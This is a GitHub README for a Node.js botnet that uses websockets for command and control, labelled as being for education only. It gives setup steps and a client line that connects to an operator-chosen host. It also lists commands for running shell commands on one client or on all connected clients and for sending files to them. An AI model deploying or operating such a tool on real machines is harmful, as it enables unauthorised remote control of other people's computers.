Skip to content

bxsic-fr/botnet-js

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

11 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Botnet using websocket (Node)

NodeJS Botnet using websocket to interact between clients & server. Use it at your own risks (for education purpose only).

Installation

Use the package manager npm to install some packages (all includes in the package.json). Just launch that :

npm install

Settings (same as reverse-shell-js)

edit the last line of client.js by adding your ip adress or using localhost if both of them are on the same network.

client.connect('ws://IP-OR-DOMAIN:PORT', 'echo-protocol');

editing server.js for the connection port at port variable, line 8 :

let port = 8080;

Usage

$ {id} shell_command

Special commands

  • help : All commands (other of shell commands)

  • list : List all active connections

  • sendfile : Send file to specific client

  • execall : Execute a same command for every connections

Exemple

presentation-botnet

Contributing

Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.

Please make sure to update tests as appropriate.

License

GNU AGPLv3

About

Create Botnet network using Node framework

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published